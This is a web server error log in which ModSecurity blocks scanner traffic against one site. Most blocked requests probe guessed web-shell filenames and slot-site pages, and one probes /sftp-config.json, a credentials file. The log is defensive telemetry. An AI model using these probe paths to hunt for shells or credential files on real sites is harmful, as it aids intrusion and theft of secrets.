[Sat Apr 11 04:26:58.150765 2026] [:error] [pid 33173:tid 33257] [client 51.107.88.105:11158] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "adldEq8109xRDP2izWiRaAAAAIw"]
[Sat Apr 11 04:26:58.623318 2026] [:error] [pid 33171:tid 33204] [client 51.107.88.105:11080] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "adldEroqTMlo30hcVw8rSQAAABI"]
[Sat Apr 11 04:26:59.103568 2026] [:error] [pid 33288:tid 33309] [client 51.107.88.105:11223] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "adldE2JmwJFFPEgRHfHawAAAANM"]
[Sat Apr 11 04:26:59.575695 2026] [:error] [pid 33173:tid 33247] [client 51.107.88.105:11139] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "adldE68109xRDP2izWiRbwAAAII"]
[Sat Apr 11 04:27:00.069725 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:11134] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "adldFLoqTMlo30hcVw8rSwAAAAM"]
[Sat Apr 11 04:27:00.543993 2026] [:error] [pid 33171:tid 33200] [client 51.107.88.105:22492] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "adldFLoqTMlo30hcVw8rUQAAAA4"]
[Sat Apr 11 04:27:01.042909 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:22500] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "adldFboqTMlo30hcVw8rVgAAAA8"]
[Sat Apr 11 04:27:01.521512 2026] [:error] [pid 33173:tid 33264] [client 51.107.88.105:22476] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "adldFa8109xRDP2izWiRdQAAAJM"]
[Sat Apr 11 04:27:01.993609 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:11151] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "adldFTn2G0IJw5EZY9kDAgAAAEw"]
[Sat Apr 11 04:27:02.467122 2026] [:error] [pid 33288:tid 33308] [client 51.107.88.105:11010] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "adldFmJmwJFFPEgRHfHaxwAAANI"]
[Sat Apr 11 04:27:02.938253 2026] [:error] [pid 33288:tid 33290] [client 51.107.88.105:11169] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "adldFmJmwJFFPEgRHfHayQAAAMA"]
[Sat Apr 11 04:27:03.406440 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:11019] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "adldFzn2G0IJw5EZY9kDBwAAAFA"]
[Sat Apr 11 04:27:03.891592 2026] [:error] [pid 33173:tid 33259] [client 51.107.88.105:11231] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "adldF68109xRDP2izWiRfQAAAI4"]
[Sat Apr 11 04:38:32.985640 2026] [:error] [pid 33172:tid 33239] [client 104.28.157.201:43322] [client 104.28.157.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "adlfyDn2G0IJw5EZY9kLPwAAAFU"]
[Sat Apr 11 04:43:57.216533 2026] [:error] [pid 33288:tid 33292] [client 51.83.238.207:45646] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adlhDWJmwJFFPEgRHfHw2QAAAMI"]
[Sat Apr 11 04:43:57.256712 2026] [:error] [pid 33288:tid 33290] [client 51.83.238.207:45620] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adlhDWJmwJFFPEgRHfHw2gAAAMA"]
[Sat Apr 11 04:43:57.321184 2026] [:error] [pid 33173:tid 33251] [client 51.83.238.207:45660] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adlhDa8109xRDP2izWigpwAAAIY"]
[Sat Apr 11 04:43:57.395911 2026] [:error] [pid 33288:tid 33299] [client 51.83.238.207:45632] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adlhDWJmwJFFPEgRHfHw2wAAAMk"]
[Sat Apr 11 04:43:58.712520 2026] [:error] [pid 33288:tid 33309] [client 51.83.238.207:45614] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adlhDmJmwJFFPEgRHfHw4AAAANM"]
[Sat Apr 11 04:43:59.684312 2026] [:error] [pid 33173:tid 33265] [client 51.83.238.207:35734] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adlhD68109xRDP2izWigsAAAAJQ"]
[Sat Apr 11 04:43:59.757282 2026] [:error] [pid 33288:tid 33303] [client 51.83.238.207:35736] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adlhD2JmwJFFPEgRHfHw6QAAAM0"]
[Sat Apr 11 04:43:59.860328 2026] [:error] [pid 33288:tid 33311] [client 51.83.238.207:35748] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adlhD2JmwJFFPEgRHfHw7AAAANU"]
[Sat Apr 11 04:43:59.904410 2026] [:error] [pid 33173:tid 33256] [client 51.83.238.207:35752] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adlhD68109xRDP2izWigsQAAAIs"]
[Sat Apr 11 04:44:01.156863 2026] [:error] [pid 33288:tid 33308] [client 51.83.238.207:35760] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adlhEWJmwJFFPEgRHfHxAQAAANI"]
[Sat Apr 11 04:44:02.223015 2026] [:error] [pid 33171:tid 33192] [client 51.83.238.207:35764] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adlhEroqTMlo30hcVw81cAAAAAY"]
[Sat Apr 11 04:44:02.266002 2026] [:error] [pid 33173:tid 33257] [client 51.83.238.207:35772] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adlhEq8109xRDP2izWiguwAAAIw"]
[Sat Apr 11 04:44:02.301538 2026] [:error] [pid 33171:tid 33202] [client 51.83.238.207:35774] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adlhEroqTMlo30hcVw81cgAAABA"]
[Sat Apr 11 04:44:02.403656 2026] [:error] [pid 33172:tid 33237] [client 51.83.238.207:35790] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adlhEjn2G0IJw5EZY9kO4wAAAFM"]
[Sat Apr 11 04:44:03.761812 2026] [:error] [pid 33172:tid 33221] [client 51.83.238.207:35802] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adlhEzn2G0IJw5EZY9kO5gAAAEM"]
[Sat Apr 11 04:44:04.765757 2026] [:error] [pid 33173:tid 33267] [client 51.83.238.207:35806] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adlhFK8109xRDP2izWigvgAAAJY"]
[Sat Apr 11 04:44:04.805281 2026] [:error] [pid 33172:tid 33219] [client 51.83.238.207:35828] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adlhFDn2G0IJw5EZY9kO6gAAAEE"]
[Sat Apr 11 04:44:04.827717 2026] [:error] [pid 33173:tid 33246] [client 51.83.238.207:35822] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adlhFK8109xRDP2izWigvwAAAIE"]
[Sat Apr 11 04:44:04.890624 2026] [:error] [pid 33172:tid 33231] [client 51.83.238.207:35834] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adlhFDn2G0IJw5EZY9kO6wAAAE0"]
[Sat Apr 11 04:44:06.484879 2026] [:error] [pid 33171:tid 33199] [client 51.83.238.207:35846] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adlhFroqTMlo30hcVw81fAAAAA0"]
[Sat Apr 11 04:44:07.215178 2026] [:error] [pid 33173:tid 33255] [client 51.83.238.207:35848] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adlhF68109xRDP2izWigxQAAAIo"]
[Sat Apr 11 04:44:07.284851 2026] [:error] [pid 33173:tid 33259] [client 51.83.238.207:35854] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adlhF68109xRDP2izWigxwAAAI4"]
[Sat Apr 11 04:44:07.381636 2026] [:error] [pid 33172:tid 33228] [client 51.83.238.207:35862] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adlhFzn2G0IJw5EZY9kO9AAAAEo"]
[Sat Apr 11 04:44:07.422407 2026] [:error] [pid 33172:tid 33235] [client 51.83.238.207:35866] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adlhFzn2G0IJw5EZY9kO9QAAAFE"]
[Sat Apr 11 04:44:09.250429 2026] [:error] [pid 33173:tid 33249] [client 51.83.238.207:55118] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adlhGa8109xRDP2izWig0QAAAIQ"]
[Sat Apr 11 04:44:09.771949 2026] [:error] [pid 33288:tid 33295] [client 51.83.238.207:55124] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adlhGWJmwJFFPEgRHfHxQgAAAMU"]
[Sat Apr 11 04:44:09.996671 2026] [:error] [pid 33288:tid 33300] [client 51.83.238.207:55146] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adlhGWJmwJFFPEgRHfHxRQAAAMo"]
[Sat Apr 11 04:44:10.040291 2026] [:error] [pid 33173:tid 33255] [client 51.83.238.207:55130] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adlhGq8109xRDP2izWig1AAAAIo"]
[Sat Apr 11 04:44:10.065845 2026] [:error] [pid 33172:tid 33224] [client 51.83.238.207:55156] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adlhGjn2G0IJw5EZY9kPAwAAAEY"]
[Sat Apr 11 04:44:11.783800 2026] [:error] [pid 33172:tid 33239] [client 51.83.238.207:55170] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adlhGzn2G0IJw5EZY9kPDwAAAFU"]
[Sat Apr 11 04:44:12.267346 2026] [:error] [pid 33173:tid 33266] [client 51.83.238.207:55172] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adlhHK8109xRDP2izWig5QAAAJU"]
[Sat Apr 11 04:44:12.617094 2026] [:error] [pid 33288:tid 33297] [client 51.83.238.207:55184] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adlhHGJmwJFFPEgRHfHxUgAAAMc"]
[Sat Apr 11 04:44:12.644807 2026] [:error] [pid 33173:tid 33267] [client 51.83.238.207:55190] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adlhHK8109xRDP2izWig6wAAAJY"]
[Sat Apr 11 04:44:12.651268 2026] [:error] [pid 33173:tid 33246] [client 51.83.238.207:55204] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adlhHK8109xRDP2izWig7AAAAIE"]
[Sat Apr 11 04:44:14.505850 2026] [:error] [pid 33173:tid 33258] [client 51.83.238.207:55212] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adlhHq8109xRDP2izWig-AAAAI0"]
[Sat Apr 11 04:44:14.830529 2026] [:error] [pid 33173:tid 33268] [client 51.83.238.207:55222] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adlhHq8109xRDP2izWig-gAAAJc"]
[Sat Apr 11 04:44:15.122635 2026] [:error] [pid 33173:tid 33255] [client 51.83.238.207:55224] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adlhH68109xRDP2izWig_QAAAIo"]
[Sat Apr 11 04:44:15.175249 2026] [:error] [pid 33173:tid 33252] [client 51.83.238.207:55234] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adlhH68109xRDP2izWig_gAAAIc"]
[Sat Apr 11 04:44:15.229344 2026] [:error] [pid 33173:tid 33263] [client 51.83.238.207:55230] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adlhH68109xRDP2izWig_wAAAJI"]
[Sat Apr 11 04:44:17.496935 2026] [:error] [pid 33288:tid 33308] [client 51.83.238.207:55250] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adlhIWJmwJFFPEgRHfHxagAAANI"]
[Sat Apr 11 04:44:17.609265 2026] [:error] [pid 33171:tid 33210] [client 51.83.238.207:55262] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adlhIboqTMlo30hcVw81lAAAABg"]
